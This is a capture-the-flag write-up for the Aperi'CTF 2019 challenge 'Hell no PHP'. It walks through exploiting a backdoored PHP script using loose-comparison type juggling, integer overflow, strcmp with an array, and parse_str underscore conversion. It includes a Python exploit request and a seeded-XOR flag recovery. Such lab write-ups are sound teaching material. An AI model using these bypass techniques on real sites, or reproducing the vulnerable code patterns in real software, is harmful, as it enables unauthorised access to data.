Hell no PHP

Aperi'CTF 2019 - Web (250 pts).

Aperi’CTF 2019 - Hell no PHP

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Hell no PHP Web 250 5

Nous avons retrouvé une fichier “Lo7ef4fBi92x3p/index.php” sur le site web d’un client. D’après nos informations, il s’agirait d’une backdoor permettant d’accéder au fichier flag.php. Investiguez et trouvez comment cette backdoor peut être exploitée.

https://hell-no-php.aperictf.fr

Methodology

When we arrive on the website, we’re served a PHP code:

<?php

show_source(__FILE__);
require_once("flag.php"); // $FLAG;

$FINAL = "";
$i = 0xFF;

$c = (((@$_GET['Ape'] == '003e2') && (sizeof(@$_GET['Ape']) !== 5)) &&
   (((intval(@$_GET['ape']['ri']) == '9223372036854775807') && (@$_GET['ape']['ri'] != 9223372036854775807))||
   ((intval(@$_GET['ape']['ri']) == '2147483647') && (@$_GET['ape']['ri'] != 2147483647))));

$c = $c and false;

$i ^= $c ? 0x57 : 0x75;

if ($i%138 && !srand($_GET['Ape'])){
   if(!@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0)){
       $FLAG = str_split($FLAG);
       for($i=0;$i<sizeof($FLAG);$i++){
           if (isset($_GET["petitkube"]) && $_GET["petitkube"] !== "ape"){
               $FINAL .= (ord($FLAG[$i])^rand(13,37));
           }
       }
   }
}

if (!((strpos($_GET['kube'], '_') !== false) || (strpos($_GET['kube'], '%5f') !== false))){
   parse_str($_GET['kube'],$p);

   if((sha1($FINAL) === "8183f431f1be02bb137b5e42d524a5e796526777") &&
      ($p['peri_kube'] == "kube") &&
      ($_REQUEST['petitkube'] === "ape")){
       echo($FINAL);
   }
}


if (isset($_GET['version'])){
   phpinfo(1);
}
?>

Looking at the end of the code, we can display the PHP version of the website by adding /?version at the end of the URL.

phpinfo

We got a PHP 5.3. Now let’s look at the goal: the $FLAG is not directly displayed by the script but it’s used by $FINAL which is displayed at the end of the script with conditions.

Condition 1

The first condition is if ($i%138). If $c is True, then $i = 0xff^0x57 = 168 (and 168%138 is True). If $c is False, then $i = 0xff^0x75 = 138 (and 138%138 is False). We need to force $c as True. Now let’s have a look at $c:

<?php
$c = (((@$_GET['Ape'] == '003e2') && (sizeof(@$_GET['Ape']) !== 5)) &&
   (((intval(@$_GET['ape']['ri']) == '9223372036854775807') && (@$_GET['ape']['ri'] != 9223372036854775807))||
   ((intval(@$_GET['ape']['ri']) == '2147483647') && (@$_GET['ape']['ri'] != 2147483647))));

$c = $c and false;
?>

Here we got 2 contradictory conditions: - The first one ask $_GET['Ape'] to be equal (==) to '003e2' and to not be 5 chars long. - The second one ask the intvalue of $_GET['ape']['ri'] to be equal (==) to '9223372036854775807' but it value mustn’t be equal (!=) to 9223372036854775807 (or satisfy the same condition for 2147483647).

The first bypass is to enter the numeral value for $_GET['Ape'] : 300. The second bypass is an integer overflow. If we set $_GET['ape']['ri'] to 100000000000000000000000000000 we can bypass the condition. For the moment, we have the following URL: /?Ape=300&ape[ri]=100000000000000000000000000000.

You can also note that when we wrote $c = $c and false; then $c is still true (it doesn’t work with && instead of and).

Condition 2

In this block, we already pass the first line with $i%138. Note that a seed value (300) is affected to srand.

<?php
if ($i%138 && !srand($_GET['Ape'])){
    if(!@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0)){
        $FLAG = str_split($FLAG);
        for($i=0;$i<sizeof($FLAG);$i++){
            if (isset($_GET["petitkube"]) && $_GET["petitkube"] !== "ape"){
                $FINAL .= (ord($FLAG[$i])^rand(13,37));
            }
        }
    }
}
?>

The second condition is !@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0). To satisfy this condition, we just need $_GET['a']['pe']['ri']['kube'] to be set: /?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=. Then the flag is split. A new condition $_GET["petitkube"] !== "ape" is required to encrypt the flag. Let’s set it to a random value (i.e. x): /?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x. Now our flag is encrypted with xor and random data (predictable thanks to the seed).

Conditions 3

This is the last block of conditions.

<?php
if (!((strpos($_GET['kube'], '_') !== false) || (strpos($_GET['kube'], '%5f') !== false))){
   parse_str($_GET['kube'],$p);

   if((sha1($FINAL) === "8183f431f1be02bb137b5e42d524a5e796526777") &&
      ($p['peri_kube'] == "kube") &&
      ($_REQUEST['petitkube'] === "ape")){
       echo($FINAL);
   }
}
?>

The conditions says that we must not have any underscore or urlencoded underscore in the $_GET['kube'] variable. However, parse_str is used to extract $_GET['kube'] in $p. And $p need to have a key peri_kube which have an underscore in it! According to this comment many chars like . are replace with underscore in this context. We can build our query with kube=peri.kube=kube to fullfill this condition. There is an other condition: $_REQUEST['petitkube'] === "ape". This is in contradiction with $_GET["petitkube"] !== "ape" but we can bypass this case since $_REQUEST take both POST and GET data. We can overwrite the REQUEST value with POST data. Now, our url is /?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x&kube=peri.kube=kube and our post data is petitkube=ape.

Now let’s craft our query:

# -*- coding:utf-8 -*-
import requests

URL = "http://hell-no-php.aperictf.fr/"
GET = "Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x&kube=peri.kube=kube"
POST = {"petitkube":"ape"}
r = requests.post(URL+"?"+GET,data=POST).text.split("</code>")[1]
print(r)

Output: 88716582101901137399120369310611730501298.

Crypto

Now we need to decipher the flag. Since we have the seed and we know how the flag is encrypted, we know that it’s composed of xored characters. Lets compute the key using the correct PHP version. We’ll compute a list of random value used as key:

<?php
srand(300);
for($i=0;$i<50;$i++){
	echo(rand(13,37).",");
}
?>

Output: [25,23,19,25,30,18,20,37,15,22,20,13,34,37,36,21,36,31,23,13,16,18,20,19,21,19,22,15,18,14,32,30,24,13,18,17,19,25,16,22,34,24,23,30,24,22,14,22,15,25]

Now let’s try to separate xored characters and xor them:

randomint = [25,23,19,25,30,18,20,37,15,22,20,13,34,37,36,21,36,31,23,13,16,18,20,19,21,19,22,15,18,14,32,30,24,13,18,17,19,25,16,22,34,24,23,30,24,22,14,22,15,25]

# Separate integers by hand
r = [88,71,65,82,101,90,113,73,99,120,36,93,106,117,30,50,12,98]
flag = ""
for a,b in zip(r,randomint):
    flag += chr(a^b)

print("Flag: "+flag)

Output: Flag: APRK{Helln0PHP:'(}

Flag

APRK{Helln0PHP:'(}

Zeecka